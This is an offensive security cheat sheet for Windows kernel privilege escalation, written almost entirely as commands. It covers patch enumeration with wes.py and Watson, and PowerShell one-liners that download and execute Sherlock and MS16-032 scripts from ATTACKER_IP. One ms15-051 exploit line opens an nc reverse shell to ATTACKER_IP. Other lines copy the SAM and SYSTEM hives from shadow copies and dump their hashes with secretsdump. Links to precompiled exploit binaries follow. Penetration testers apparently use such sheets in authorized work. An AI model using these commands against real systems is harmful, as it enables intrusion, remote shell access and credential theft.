Kernel Exploits

systeminfo → compare patches → find missing KB → search exploit → compile/download → execute

git clone https://github.com/bitsadmin/wesng.git
cd wesng
python3 wes.py --update

systeminfo > systeminfo.txt

python3 wes.py systeminfo.txt

python3 wes.py systeminfo.txt --impact "Elevation of Privilege"

Watson.exe

IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/Sherlock.ps1'); Find-AllVulns

wmic qfe

Get-HotFix | Sort-Object InstalledOn -Descending

IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/MS16-032.ps1'); Invoke-MS16032

ms15-051.exe whoami
ms15-051.exe "cmd /c C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444"

ms14-058.exe

icacls C:\Windows\System32\config\SAM

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .

impacket-secretsdump -sam SAM -system SYSTEM LOCAL

# Check
https://github.com/fortra/CVE-2023-28252

# SecWiki collection
https://github.com/SecWiki/windows-kernel-exploits

# Precompiled binaries
https://github.com/abatchy17/WindowsExploits